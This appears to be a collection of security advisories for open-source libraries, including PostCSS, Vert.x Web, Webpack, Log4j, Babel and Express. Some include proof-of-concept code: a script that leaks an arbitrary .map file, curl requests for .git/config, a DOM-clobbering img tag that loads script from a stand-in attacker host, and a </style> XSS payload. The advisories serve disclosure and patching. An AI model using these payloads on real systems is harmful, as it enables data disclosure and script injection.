## Summary The fix for GHSA-6g55-p6wh-862q added a guard in `lib/previous-map.js` `PreviousMap.loadFile()` that restricts an attacker-controlled `sourceMappingURL` (from a CSS comment) to a `.map` extension and, for untrusted maps, rejects `..` traversal and absolute paths. The traversal/absolute rejection is nested inside `if (cssFile) { ... }`. When PostCSS is invoked without the `from` option, `cssFile` is falsy and that branch is skipped, leaving only the `.map` extension check. `PreviousMap` is constructed by `lib/input.js` whenever `pathAvailable && sourceMapAvailable` (under Node with source-map available), independent of `opts.from`/`opts.map` (the constructor returns early only for `opts.map === false`). So `postcss([]).process(css)` on attacker CSS reaches `loadFile` with `cssFile` undefined, and an attacker `/*# sourceMappingURL=/abs/path/x.map */` (or `../`-traversing path) is read via `readFileSync`. When the file is valid JSON, its `sources` (filesystem paths) and `sourcesContent` (source contents) are disclosed in the generated source map. ## Affected code (v8.5.22 — the release carrying the GHSA-6g55 fix) ```js // lib/previous-map.js loadFile(path, cssFile, trusted) { if (!trusted && !this.unsafeMap) { if (!/\.map$/i.test(path)) { return undefined } if (cssFile) { // guard runs ONLY when `from` is set let relativePath = relative(dirname(cssFile), path) if (relativePath === '..' || relativePath.startsWith('..' + sep) || isAbsolute(relativePath)) { return undefined } } } this.root = dirname(path) if (existsSync(path)) { this.mapFile = path return readFileSync(path, 'utf-8').toString().trim() // sink } } // loadMap(): untrusted annotation path, trusted=false; file === opts.from } else if (this.annotation) { let map = this.annotation if (file) map = join(dirname(file), map) // no `from` -> map stays the raw URL let unknown = this.loadFile(map, file, false) // file undefined -> cssFile falsy ``` ## Proof of concept (verified on postcss 8.5.22) ```js const postcss = require('postcss') const fs = require('fs') // a 'secret' sourcemap OUTSIDE any expected tree (stand-in for another project's .map) const secret = '/tmp/pcpoc/secret_out_of_tree.map' fs.writeFileSync(secret, JSON.stringify({ version: 3, sources: ['/etc/REAL_PATH_LEAK'], mappings: '', names: [], sourcesContent: ['TOP_SECRET_abcdef'] })) const css = 'a{color:red}\n/*# sourceMappingURL=' + secret + ' */' const leaks = m => m && JSON.stringify(m.toJSON ? m.toJSON() : m).includes('TOP_SECRET_abcdef') ;(async () => { // A) NO `from` -> guard skipped -> arbitrary absolute .map read + disclosed const a = await postcss([]).process(css, { map: true }) console.log('no from -> leaked:', !!leaks(a.map)) // true // B) WITH `from` -> guard active -> blocked const b = await postcss([]).process(css, { from: '/tmp/pcpoc/in.css', map: true }) console.log('with from -> leaked:', !!leaks(b.map)) // false })() ``` Observed output on postcss 8.5.22: ``` no from -> leaked: true # sourcesContent 'TOP_SECRET_abcdef' AND sources '/etc/REAL_PATH_LEAK' appear in result.map with from -> leaked: false # guard rejects the absolute path ``` `../` traversal (no `from`) also succeeds; non-`.map` targets (`.txt`, `?x=.map`, `#.map`) are blocked by the `.map` check. The tested build contains the GHSA-6g55 fix (`this.json = JSON.parse(...)` in `loadMap`, `consumer()` uses `this.json || this.text`), so this is a residual of that fix. ## Impact Arbitrary `.map`-file read (absolute path or `../` traversal) and disclosure of the target map's `sources` (local filesystem paths) and `sourcesContent` (source) into the generated source map, for any consumer that runs PostCSS on attacker-influenced CSS without a `from` option and exposes `result.map` (online CSS playgrounds, minify/lint services, string-input build steps). Bounded to files ending in `.map` that parse as JSON. ## Suggested fix Apply the traversal/absolute-path rejection to the untrusted map path regardless of whether `cssFile` is present (resolve against `process.cwd()` when there is no `cssFile`, and reject absolute paths and `..` escape in all untrusted cases), or refuse to load an untrusted external map when no base file is known.
# Description There is a flaw in the hidden file protection feature of Vert.x Web’s `StaticHandler` when `setIncludeHidden(false)` is configured. In the current implementation, only files whose final path segment (i.e., the file name) begins with a dot (`.`) are treated as “hidden” and are blocked from being served. However, this logic fails in the following cases: - **Files under hidden directories**: For example, `/.secret/config.txt` — although `.secret` is a hidden directory, the file `config.txt` itself does not start with a dot, so it gets served. - **Real-world impact**: Sensitive files placed in hidden directories like `.git`, `.env`, `.aws` may become publicly accessible. As a result, the behavior does not meet the expectations set by the `includeHidden=false` configuration, which should ideally protect all hidden files and directories. This gap may lead to unintended exposure of sensitive information. # Steps to Reproduce ```bash 1. Prepare test environment # Create directory structure mkdir -p src/test/resources/webroot/.secret mkdir -p src/test/resources/webroot/.git # Place test files echo "This is a visible file" > src/test/resources/webroot/visible.txt echo "This is a hidden file" > src/test/resources/webroot/.hidden.txt echo "SECRET DATA: API_KEY=abc123" > src/test/resources/webroot/.secret/config.txt echo "Git config data" > src/test/resources/webroot/.git/config ``` ```java 2. Implement test server import io.vertx.core.AbstractVerticle; import io.vertx.core.Vertx; import io.vertx.ext.web.Router; import io.vertx.ext.web.handler.StaticHandler; public class StaticHandlerTestServer extends AbstractVerticle { @Override public void start() { Router router = Router.router(vertx); // Configure to not serve hidden files StaticHandler staticHandler = StaticHandler.create("src/test/resources/webroot") .setIncludeHidden(false) .setDirectoryListing(false); router.route("/*").handler(staticHandler); vertx.createHttpServer() .requestHandler(router) .listen(8082); } public static void main(String[] args) { Vertx vertx = Vertx.vertx(); vertx.deployVerticle(new StaticHandlerTestServer()); } } ``` ```bash 3. Confirm the vulnerability # Normal file (accessible) curl http://localhost:8082/visible.txt # Result: 200 OK # Hidden file (correctly blocked) curl http://localhost:8082/.git # Result: 404 Not Found # File under hidden directory (vulnerable) curl http://localhost:8082/.git/config # Result: 200 OK - Returns contents of Git config ``` # Potential Impact ## 1. Information Disclosure Examples of sensitive files that could be exposed: - `.git/config`: Git repository settings (e.g., remote URL, credentials) - `.env/*`: Environment variables (API keys, DB credentials) - `.aws/credentials`: AWS access keys - `.ssh/known_hosts`: SSH host trust info - `.docker/config.json`: Docker registry credentials ## 2. Attack Scenarios - Attackers can guess common hidden directory names and enumerate filenames under them to access confidential data. - Especially dangerous for `.git/HEAD`, `.git/config`, `.git/objects/*` — which may allow full reconstruction of source code. ## 3. Affected Scope - **Affected version**: Vert.x Web 5.1.0-SNAPSHOT (likely earlier versions as well) - **Environments**: All OSes (Windows, Linux, macOS) - **Configurations**: All applications using `StaticHandler.setIncludeHidden(false)`
### Impact If this library is used in tandem with the `permessage-deflate` extension, a WebSocket server or client can be made to accept messages that are larger than the configured maximum message size. This is because this limit is checked against the message frames' length headers, which give the size of the compressed data, not the size after decompression. This can lead to applications accepting larger messages than expected and exceeding their intended resource usage. ### Patches The issue has been patched in version 0.7.5, by checking the length of messages after they are processed by incoming extensions. All users should upgrade to this version. ### Workarounds No known workarounds exist. ### Acknowledgements This issue was discovered and reported by Pranjali Thakur, DepthFirst Security Research Team.
Improper encoding of non-finite floating-point values during MapMessage JSON serialization in Apache Log4j API produces output that is not valid JSON. This issue affects Apache Log4j API versions 2.13.1 through 2.25.4 and version 2.26.0. The fix for CVE-2026-34481 did not cover all code paths: when a MapMessage contains a non-finite IEEE 754 value (NaN, Infinity, or -Infinity), MapMessage.asJson() emits the corresponding bare token. RFC 8259 does not permit these tokens, so a conformant parser rejects the resulting document. The defect is reachable only when both of the following conditions hold: * The application uses the message resolver https://logging.apache.org/log4j/2.x/manual/json-template-layout.html#event-template-resolver-message of JsonTemplateLayout or any other layout that relies on MapMessage.asJson() or MapMessage.getFormattedMessage(new String[]{"JSON"}). * The application logs a MapMessage that contains an attacker-controlled floating-point value. An attacker who can supply a non-finite value can cause the affected layout to emit malformed JSON, which may corrupt the enclosing log record or disrupt downstream log ingestion and parsing. Users are advised to upgrade to Apache Log4j API 2.25.5 or 2.26.1, both of which emit RFC 8259-compliant JSON for non-finite values.
The Socket Appender in Apache Log4j Core versions 2.0-beta9 through 2.25.2 does not perform TLS hostname verification of the peer certificate, even when the [verifyHostName](https://logging.apache.org/log4j/2.x/manual/appenders/network.html#SslConfiguration-attr-verifyHostName) configuration attribute or the [log4j2.sslVerifyHostName](https://logging.apache.org/log4j/2.x/manual/systemproperties.html#log4j2.sslVerifyHostName) system property is set to true. This issue may allow a man-in-the-middle attacker to intercept or redirect log traffic under the following conditions: * The attacker is able to intercept or redirect network traffic between the client and the log receiver. * The attacker can present a server certificate issued by a certification authority trusted by the Socket Appender’s configured trust store (or by the default Java trust store if no custom trust store is configured). Users are advised to upgrade to Apache Log4j Core version 2.25.3, which addresses this issue. As an alternative mitigation, the Socket Appender may be configured to use a private or restricted trust root to limit the set of trusted certificates.
### Summary The `v3()`, `v5()`, and `v6()` [API methods](https://github.com/uuidjs/uuid#api-summary) (not `uuid` release versions) accept external output buffers but do not reject out-of-range writes (small `buf` or large `offset`). By contrast, `v4()`, `v1()`, and `v7()` API methods explicitly throw `RangeError` on invalid bounds. This inconsistency allows **silent partial writes** into caller-provided buffers. ### Affected code - `src/v35.ts` (`v3()`/`v5()` path) writes `buf[offset + i]` without bounds validation. - `src/v6.ts` writes `buf[offset + i]` without bounds validation. ### Reproducible PoC ```bash cd /home/StrawHat/uuid npm ci npm run build node --input-type=module -e " import {v4,v5,v6} from './dist-node/index.js'; const ns='6ba7b810-9dad-11d1-80b4-00c04fd430c8'; for (const [name,fn] of [ ['v4()',()=>v4({},new Uint8Array(8),4)], ['v5()',()=>v5('x',ns,new Uint8Array(8),4)], ['v6()',()=>v6({},new Uint8Array(8),4)], ]) { try { fn(); console.log(name,'NO_THROW'); } catch(e){ console.log(name,'THREW',e.name); } }" ``` Observed: - `v4() THREW RangeError` - `v5() NO_THROW` - `v6() NO_THROW` Example partial overwrite evidence captured during audit: ```text same true buf [ 170, 170, 170, 170, 75, 224, 100, 63 ] v6 [ 187, 187, 187, 187, 31, 19, 185, 64 ] ``` ### Security impact - **Primary**: integrity/robustness issue (silent partial output). - If an application assumes full UUID writes into preallocated buffers, this can produce malformed/truncated/partially stale identifiers without error. - In systems where caller-controlled offsets/buffer sizes are exposed indirectly, this may become a security-relevant logic flaw. ### Suggested fix Add the same guard used by `v4()`/`v1()`/`v7()`: ```ts if (offset < 0 || offset + 16 > buf.length) { throw new RangeError(`UUID byte range ${offset}:${offset + 15} is out of buffer bounds`); } ``` Apply to: - `src/v35.ts` (covers `v3()` and `v5()`) - `src/v6.ts`
: Use of a Broken or Risky Cryptographic Algorithm vulnerability in Legion of the Bouncy Castle Inc. BC-JAVA bcpkix on all (pkix modules). PKIX draft CompositeVerifier accepts empty signature sequence as valid. This issue affects BC-JAVA: from 1.49 before 1.84.
Babel is a compiler for writing next generation JavaScript. When using versions of Babel prior to 7.26.10 and 8.0.0-alpha.17 to compile regular expression named capturing groups, Babel will generate a polyfill for the `.replace` method that has quadratic complexity on some specific replacement pattern strings (i.e. the second argument passed to `.replace`). Generated code is vulnerable if all the following conditions are true: Using Babel to compile regular expression named capturing groups, using the `.replace` method on a regular expression that contains named capturing groups, and the code using untrusted strings as the second argument of `.replace`. This problem has been fixed in `@babel/helpers` and `@babel/runtime` 7.26.10 and 8.0.0-alpha.17. It's likely that individual users do not directly depend on `@babel/helpers`, and instead depend on `@babel/core` (which itself depends on `@babel/helpers`). Upgrading to `@babel/core` 7.26.10 is not required, but it guarantees use of a new enough `@babel/helpers` version. Note that just updating Babel dependencies is not enough; one will also need to re-compile the code. No known workarounds are available.
### Impact When using Babel to compile [regular expression named capturing groups](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Regular_expressions/Named_capturing_group), Babel will generate a polyfill for the `.replace` method that has quadratic complexity on some specific replacement pattern strings (i.e. the second argument passed to `.replace`). Your generated code is vulnerable if _all_ the following conditions are true: - You use Babel to compile [regular expression named capturing groups](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Regular_expressions/Named_capturing_group) - You use the `.replace` method on a regular expression that contains named capturing groups - **Your code uses untrusted strings as the second argument of `.replace`** If you are using `@babel/preset-env` with the [`targets`](https://babeljs.io/docs/options#targets) option, the transform that injects the vulnerable code is automatically enabled if: - you use [_duplicated_ named capturing groups](https://github.com/tc39/proposal-duplicate-named-capturing-groups), and target any browser older than Chrome/Edge 126, Opera 112, Firefox 129, Safari 17.4, or Node.js 23 - you use any [named capturing groups](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Regular_expressions/Named_capturing_group), and target any browser older than Chrome 64, Opera 71, Edge 79, Firefox 78, Safari 11.1, or Node.js 10 You can verify what transforms `@babel/preset-env` is using by enabling the [`debug` option](https://babeljs.io/docs/babel-preset-env#debug). ### Patches This problem has been fixed in `@babel/helpers` and `@babel/runtime` 7.26.10 and 8.0.0-alpha.17, please upgrade. It's likely that you do not directly depend on `@babel/helpers`, and instead you depend on `@babel/core` (which itself depends on `@babel/helpers`). Upgrading to `@babel/core` 7.26.10 is not required, but it guarantees that you are on a new enough `@babel/helpers` version. Please note that just updating your Babel dependencies is not enough: you will also need to re-compile your code. ### Workarounds If you are passing user-provided strings as the second argument of `.replace` on regular expressions that contain named capturing groups, validate the input and make sure it does not contain the substring `$<` if it's then not followed by `>` (possibly with other characters in between). ### References This vulnerability was reported and fixed in https://github.com/babel/babel/pull/17173.
A possible arbitrary file read and SSRF vulnerability has been identified in Apache Kafka Client. Apache Kafka Clients accept configuration data for setting the SASL/OAUTHBEARER connection with the brokers, including "sasl.oauthbearer.token.endpoint.url" and "sasl.oauthbearer.jwks.endpoint.url". Apache Kafka allows clients to read an arbitrary file and return the content in the error log, or sending requests to an unintended location. In applications where Apache Kafka Clients configurations can be specified by an untrusted party, attackers may use the "sasl.oauthbearer.token.endpoint.url" and "sasl.oauthbearer.jwks.endpoint.url" configuratin to read arbitrary contents of the disk and environment variables or make requests to an unintended location. In particular, this flaw may be used in Apache Kafka Connect to escalate from REST API access to filesystem/environment/URL access, which may be undesirable in certain environments, including SaaS products. Since Apache Kafka 3.9.1/4.0.0, we have added a system property ("-Dorg.apache.kafka.sasl.oauthbearer.allowed.urls") to set the allowed urls in SASL JAAS configuration. In 3.9.1, it accepts all urls by default for backward compatibility. However in 4.0.0 and newer, the default value is empty list and users have to set the allowed urls explicitly.
Versions of the package follow-redirects before 1.15.4 are vulnerable to Improper Input Validation due to the improper handling of URLs by the url.parse() function. When new URL() throws an error, it can be manipulated to misinterpret the hostname. An attacker could exploit this weakness to redirect traffic to a malicious site, potentially leading to information disclosure, phishing attacks, or other security breaches.
The Request package through 2.88.1 for Node.js allows a bypass of SSRF mitigations via an attacker-controller server that does a cross-protocol redirect (HTTP to HTTPS, or HTTPS to HTTP). NOTE: This vulnerability only affects products that are no longer supported by the maintainer.
Express.js minimalist web framework for node. Versions of Express.js prior to 4.19.0 and all pre-release alpha and beta versions of 5.0 are affected by an open redirect vulnerability using malformed URLs. When a user of Express performs a redirect using a user-provided URL Express performs an encode [using `encodeurl`](https://github.com/pillarjs/encodeurl) on the contents before passing it to the `location` header. This can cause malformed URLs to be evaluated in unexpected ways by common redirect allow list implementations in Express applications, leading to an Open Redirect via bypass of a properly implemented allow list. The main method impacted is `res.location()` but this is also called from within `res.redirect()`. The vulnerability is fixed in 4.19.2 and 5.0.0-beta.3.
Webpack is a module bundler. Its main purpose is to bundle JavaScript files for usage in a browser, yet it is also capable of transforming, bundling, or packaging just about any resource or asset. The webpack developers have discovered a DOM Clobbering vulnerability in Webpack’s `AutoPublicPathRuntimeModule`. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an `img` tag with an unsanitized `name` attribute) are present. Real-world exploitation of this gadget has been observed in the Canvas LMS which allows a XSS attack to happen through a javascript code compiled by Webpack (the vulnerable part is from Webpack). DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. This vulnerability can lead to cross-site scripting (XSS) on websites that include Webpack-generated files and allow users to inject certain scriptless HTML tags with improperly sanitized name or id attributes. This issue has been addressed in release version 5.94.0. All users are advised to upgrade. There are no known workarounds for this issue.
An open redirect vulnerability was found in Keycloak. A specially crafted URL can be constructed where the referrer and referrer_uri parameters are made to trick a user to visit a malicious webpage. A trusted URL can trick users and automation into believing that the URL is safe, when, in fact, it redirects to a malicious server. This issue can result in a victim inadvertently trusting the destination of the redirect, potentially leading to a successful phishing attack or other types of attacks. Once a crafted URL is made, it can be sent to a Keycloak admin via email for example. This will trigger this vulnerability when the user visits the page and clicks the link. A malicious actor can use this to target users they know are Keycloak admins for further attacks. It may also be possible to bypass other domain-related security checks, such as supplying this as a OAuth redirect uri. The malicious actor can further obfuscate the redirect_uri using URL encoding, to hide the text of the actual malicious website domain.
In some specific scenarios with chained redirects, Reactor Netty HTTP client leaks credentials. In order for this to happen, the HTTP client must have been explicitly configured to follow redirects.
A cross-site scripting (XSS) vulnerability exists in Grafana caused by combining a client path traversal and open redirect. This allows attackers to redirect users to a website that hosts a frontend plugin that will execute arbitrary JavaScript. This vulnerability does not require editor permissions and if anonymous access is enabled, the XSS will work. If the Grafana Image Renderer plugin is installed, it is possible to exploit the open redirect to achieve a full read SSRF. The default Content-Security-Policy (CSP) in Grafana will block the XSS though the `connect-src` directive.
PostCSS takes a CSS file and provides an API to analyze and modify its rules by transforming the rules into an Abstract Syntax Tree. Versions prior to 8.5.10 do not escape `</style>` sequences when stringifying CSS ASTs. When user-submitted CSS is parsed and re-stringified for embedding in HTML `<style>` tags, `</style>` in CSS values breaks out of the style context, enabling XSS. Version 8.5.10 fixes the issue.
In some specific scenarios with chained redirects, Reactor Netty HTTP client leaks credentials. In order for this to happen, the HTTP client must have been explicitly configured to follow redirects.
### Summary We discovered a DOM Clobbering vulnerability in Webpack’s `AutoPublicPathRuntimeModule`. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an `img` tag with an unsanitized `name` attribute) are present. We found the real-world exploitation of this gadget in the Canvas LMS which allows XSS attack happens through an javascript code compiled by Webpack (the vulnerable part is from Webpack). We believe this is a severe issue. If Webpack’s code is not resilient to DOM Clobbering attacks, it could lead to significant security vulnerabilities in any web application using Webpack-compiled code. ### Details #### Backgrounds DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references: [1] https://scnps.co/papers/sp23_domclob.pdf [2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/ #### Gadgets found in Webpack We identified a DOM Clobbering vulnerability in Webpack’s `AutoPublicPathRuntimeModule`. When the `output.publicPath` field in the configuration is not set or is set to `auto`, the following code is generated in the bundle to dynamically resolve and load additional JavaScript files: ``` /******/ /* webpack/runtime/publicPath */ /******/ (() => { /******/ var scriptUrl; /******/ if (__webpack_require__.g.importScripts) scriptUrl = __webpack_require__.g.location + ""; /******/ var document = __webpack_require__.g.document; /******/ if (!scriptUrl && document) { /******/ if (document.currentScript) /******/ scriptUrl = document.currentScript.src; /******/ if (!scriptUrl) { /******/ var scripts = document.getElementsByTagName("script"); /******/ if(scripts.length) { /******/ var i = scripts.length - 1; /******/ while (i > -1 && (!scriptUrl || !/^http(s?):/.test(scriptUrl))) scriptUrl = scripts[i--].src; /******/ } /******/ } /******/ } /******/ // When supporting browsers where an automatic publicPath is not supported you must specify an output.publicPath manually via configuration /******/ // or pass an empty string ("") and set the __webpack_public_path__ variable from your code to use your own logic. /******/ if (!scriptUrl) throw new Error("Automatic publicPath is not supported in this browser"); /******/ scriptUrl = scriptUrl.replace(/#.*$/, "").replace(/\?.*$/, "").replace(/\/[^\/]+$/, "/"); /******/ __webpack_require__.p = scriptUrl; /******/ })(); ``` However, this code is vulnerable to a DOM Clobbering attack. The lookup on the line with `document.currentScript` can be shadowed by an attacker, causing it to return an attacker-controlled HTML element instead of the current script element as intended. In such a scenario, the `src` attribute of the attacker-controlled element will be used as the `scriptUrl` and assigned to `__webpack_require__.p`. If additional scripts are loaded from the server, `__webpack_require__.p` will be used as the base URL, pointing to the attacker's domain. This could lead to arbitrary script loading from the attacker's server, resulting in severe security risks. ### PoC Please note that we have identified a real-world exploitation of this vulnerability in the Canvas LMS. Once the issue has been patched, I am willing to share more details on the exploitation. For now, I’m providing a demo to illustrate the concept. Consider a website developer with the following two scripts, `entry.js` and `import1.js`, that are compiled using Webpack: ``` // entry.js import('./import1.js') .then(module => { module.hello(); }) .catch(err => { console.error('Failed to load module', err); }); ``` ``` // import1.js export function hello () { console.log('Hello'); } ``` The webpack.config.js is set up as follows: ``` const path = require('path'); module.exports = { entry: './entry.js', // Ensure the correct path to your entry file output: { filename: 'webpack-gadgets.bundle.js', // Output bundle file path: path.resolve(__dirname, 'dist'), // Output directory publicPath: "auto", // Or leave this field not set }, target: 'web', mode: 'development', }; ``` When the developer builds these scripts into a bundle and adds it to a webpage, the page could load the `import1.js` file from the attacker's domain, `attacker.controlled.server`. The attacker only needs to insert an `img` tag with the `name` attribute set to `currentScript`. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page. ``` <!DOCTYPE html> <html> <head> <title>Webpack Example</title> <!-- Attacker-controlled Script-less HTML Element starts--!> <img name="currentScript" src="https://attacker.controlled.server/"></img> <!-- Attacker-controlled Script-less HTML Element ends--!> </head> <script src="./dist/webpack-gadgets.bundle.js"></script> <body> </body> </html> ``` ### Impact This vulnerability can lead to cross-site scripting (XSS) on websites that include Webpack-generated files and allow users to inject certain scriptless HTML tags with improperly sanitized name or id attributes. ### Patch A possible patch to this vulnerability could refer to the Google Closure project which makes itself resistant to DOM Clobbering attack: https://github.com/google/closure-library/blob/b312823ec5f84239ff1db7526f4a75cba0420a33/closure/goog/base.js#L174 ``` /******/ /* webpack/runtime/publicPath */ /******/ (() => { /******/ var scriptUrl; /******/ if (__webpack_require__.g.importScripts) scriptUrl = __webpack_require__.g.location + ""; /******/ var document = __webpack_require__.g.document; /******/ if (!scriptUrl && document) { /******/ if (document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT') // Assume attacker cannot control script tag, otherwise it is XSS already :> /******/ scriptUrl = document.currentScript.src; /******/ if (!scriptUrl) { /******/ var scripts = document.getElementsByTagName("script"); /******/ if(scripts.length) { /******/ var i = scripts.length - 1; /******/ while (i > -1 && (!scriptUrl || !/^http(s?):/.test(scriptUrl))) scriptUrl = scripts[i--].src; /******/ } /******/ } /******/ } /******/ // When supporting browsers where an automatic publicPath is not supported you must specify an output.publicPath manually via configuration /******/ // or pass an empty string ("") and set the __webpack_public_path__ variable from your code to use your own logic. /******/ if (!scriptUrl) throw new Error("Automatic publicPath is not supported in this browser"); /******/ scriptUrl = scriptUrl.replace(/#.*$/, "").replace(/\?.*$/, "").replace(/\/[^\/]+$/, "/"); /******/ __webpack_require__.p = scriptUrl; /******/ })(); ``` Please note that if we do not receive a response from the development team within three months, we will disclose this vulnerability to the CVE agent.
Versions of the package follow-redirects before 1.15.4 are vulnerable to Improper Input Validation due to the improper handling of URLs by the url.parse() function. When new URL() throws an error, it can be manipulated to misinterpret the hostname. An attacker could exploit this weakness to redirect traffic to a malicious site, potentially leading to information disclosure, phishing attacks, or other security breaches.
The `request` package through 2.88.2 for Node.js and the `@cypress/request` package prior to 3.0.0 allow a bypass of SSRF mitigations via an attacker-controller server that does a cross-protocol redirect (HTTP to HTTPS, or HTTPS to HTTP). NOTE: The `request` package is no longer supported by the maintainer.
# PostCSS: XSS via Unescaped `</style>` in CSS Stringify Output ## Summary PostCSS v8.5.5 (latest) does not escape `</style>` sequences when stringifying CSS ASTs. When user-submitted CSS is parsed and re-stringified for embedding in HTML `<style>` tags, `</style>` in CSS values breaks out of the style context, enabling XSS. ## Proof of Concept ```javascript const postcss = require('postcss'); // Parse user CSS and re-stringify for page embedding const userCSS = 'body { content: "</style><script>alert(1)</script><style>"; }'; const ast = postcss.parse(userCSS); const output = ast.toResult().css; const html = `<style>${output}</style>`; console.log(html); // <style>body { content: "</style><script>alert(1)</script><style>"; }</style> // // Browser: </style> closes the style tag, <script> executes ``` **Tested output** (Node.js v22, postcss v8.5.5): ``` Input: body { content: "</style><script>alert(1)</script><style>"; } Output: body { content: "</style><script>alert(1)</script><style>"; } Contains </style>: true ``` ## Impact Impact non-bundler use cases since bundlers for XSS on their own. Requires some PostCSS plugin to have malware code, which can inject XSS to website. ## Suggested Fix Escape `</style` in all stringified output values: ```javascript output = output.replace(/<\/(style)/gi, '<\\/$1'); ``` ## Credits Discovered and reported by [Sunil Kumar](https://tharvid.in) ([@TharVid](https://github.com/TharVid))
### Impact Versions of Express.js prior to 4.19.2 and pre-release alpha and beta versions before 5.0.0-beta.3 are affected by an open redirect vulnerability using malformed URLs. When a user of Express performs a redirect using a user-provided URL Express performs an encode [using `encodeurl`](https://github.com/pillarjs/encodeurl) on the contents before passing it to the `location` header. This can cause malformed URLs to be evaluated in unexpected ways by common redirect allow list implementations in Express applications, leading to an Open Redirect via bypass of a properly implemented allow list. The main method impacted is `res.location()` but this is also called from within `res.redirect()`. ### Patches https://github.com/expressjs/express/commit/0867302ddbde0e9463d0564fea5861feb708c2dd https://github.com/expressjs/express/commit/0b746953c4bd8e377123527db11f9cd866e39f94 An initial fix went out with `express@4.19.0`, we then patched a feature regression in `4.19.1` and added improved handling for the bypass in `4.19.2`. ### Workarounds The fix for this involves pre-parsing the url string with either `require('node:url').parse` or `new URL`. These are steps you can take on your own before passing the user input string to `res.location` or `res.redirect`. ### Resources https://github.com/expressjs/express/pull/5539 https://github.com/koajs/koa/issues/1800 https://expressjs.com/en/4x/api.html#res.location
In Jakarta Mail versions prior to 2.0.2 it is possible to perform an SMTP Injection by utilizing the \r and \n UTF-8 characters to separate different messages.
In Jakarta Mail 2.2 it is possible to preform a SMTP Injection by utilizing the \r and \n UTF-8 characters to separate different messages.
Unbounded memory allocation in Google Guava 11.0 through 24.x before 24.1.1 allows remote attackers to conduct denial of service attacks against servers that depend on this library and deserialize attacker-provided data, because the AtomicDoubleArray class (when serialized with Java serialization) and the CompoundOrdering class (when serialized with GWT serialization) perform eager allocation without appropriate checks on what a client has sent and whether the data size is reasonable.
ACE vulnerability in JaninoEventEvaluator by QOS.CH logback-core upto including version 0.1 to 1.3.14 and 1.4.0 to 1.5.12 in Java applications allows attacker to execute arbitrary code by compromising an existing logback configuration file or by injecting an environment variable before program execution. Malicious logback configuration files can allow the attacker to execute arbitrary code using the JaninoEventEvaluator extension. A successful attack requires the user to have write access to a configuration file. Alternatively, the attacker could inject a malicious environment variable pointing to a malicious configuration file. In both cases, the attack requires existing privilege.
An issue was discovered in Bouncy Castle Java TLS API and JSSE Provider before 1.78. Timing-based leakage may occur in RSA based handshakes because of exception processing.
webpack-dev-server allows users to use webpack with a development server that provides live reloading. Prior to version 5.2.1, webpack-dev-server users' source code may be stolen when they access a malicious web site. Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject a malicious script in their site and run the script. Note that the attacker has to know the port and the output entrypoint script path. Combined with prototype pollution, the attacker can get a reference to the webpack runtime variables. By using `Function::toString` against the values in `__webpack_modules__`, the attacker can get the source code. Version 5.2.1 contains a patch for the issue.
PostCSS Selector Parser is a CSS selector parser that integrates with PostCSS but does not require it. Prior to 7.1.6, src/parser.js splitWord() can receive a flat selector as one word token carrying many class or ID indexes because period and hash characters are not tokenizer word delimiters. The uniqs() deduplication and per-index class and ID membership checks repeatedly scan the class and ID index arrays, while a separate Sass-interpolation filtering pass also performs repeated linear scanning. Together, these passes make parsing quadratic in the number of indexes and allow a crafted selector to occupy a synchronous parser thread. The maxNestingDepth guard does not mitigate the issue because the hostile selector can have zero nesting depth. Only consumers that synchronously parse untrusted selectors in an exposed request path are affected; ordinary build-time parsing of trusted sources is not affected. This issue is fixed in version 7.1.6.
Impact: In body-parser versions prior to 1.20.6 (1.x line) and 2.3.0 (2.x line), when the parser is configured with an invalid limit option value such as an unparseable string or NaN, bytes.parse returns null and the request body size check is silently skipped. Applications that rely on limit as their primary safeguard against oversized request bodies will accept arbitrarily large payloads, leading to excessive memory and CPU usage and denial of service. Patches: This issue is fixed in body-parser 1.20.6 and 2.3.0. After the fix, invalid limit values throw a clear error at parser construction time instead of silently disabling enforcement, while null and undefined continue to fall back to the default limit of 100kb. Workarounds: Validate the limit value before passing it to body-parser. For example, parse the value at startup and reject any configuration where the result is null or a non-finite number.
Junrar is an open source java RAR archive library. Prior to version 7.5.8, a backslash path traversal vulnerability in `LocalFolderExtractor` allows an attacker to write arbitrary files with attacker-controlled content anywhere on the filesystem when a crafted RAR archive is extracted on Linux/Unix. This can often lead to remote code execution (e.g., overwriting shell profiles, source code, cron jobs, etc). Version 7.5.8 has a fix for the issue.
The AsyncHttpClient (AHC) library allows Java applications to easily execute HTTP requests and asynchronously process HTTP responses. From 2.0.0 until 2.16.1 and 3.0.12, a request using an HTTP proxy to reach an HTTPS origin can expose preemptive origin credentials because NettyRequestFactory and NettyRequestSender.sendRequestWithNewChannel attach Authorization to the plaintext CONNECT request before the TLS tunnel exists. Basic or Digest credentials and per-connection NTLM, Kerberos, or SPNEGO tokens intended for the origin are therefore visible to the proxy and to observers on the client-to-proxy hop. The tunneled request still receives origin Authorization after the tunnel is established, while Proxy-Authorization remains on CONNECT for its intended proxy recipient. This issue is fixed in versions 2.16.1 and 3.0.12.
QOS.CH logback-core versions up to 1.5.18 contain an ACE vulnerability in conditional configuration file processing in Java applications. This vulnerability allows an attacker to execute arbitrary code by compromising an existing logback configuration file or by injecting a malicious environment variable before program execution. A successful attack requires the Janino library and Spring Framework to be present on the user's class path. Additionally, the attacker must have write access to a configuration file. Alternatively, the attacker could inject a malicious environment variable pointing to a malicious configuration file. In both cases, the attack requires existing privileges.
Loop with Unreachable Exit Condition ('Infinite Loop') vulnerability in Apache Commons Compress. This issue affects Apache Commons Compress: from 1.3 through 1.25.0. Users are recommended to upgrade to version 1.26.0 which fixes the issue.
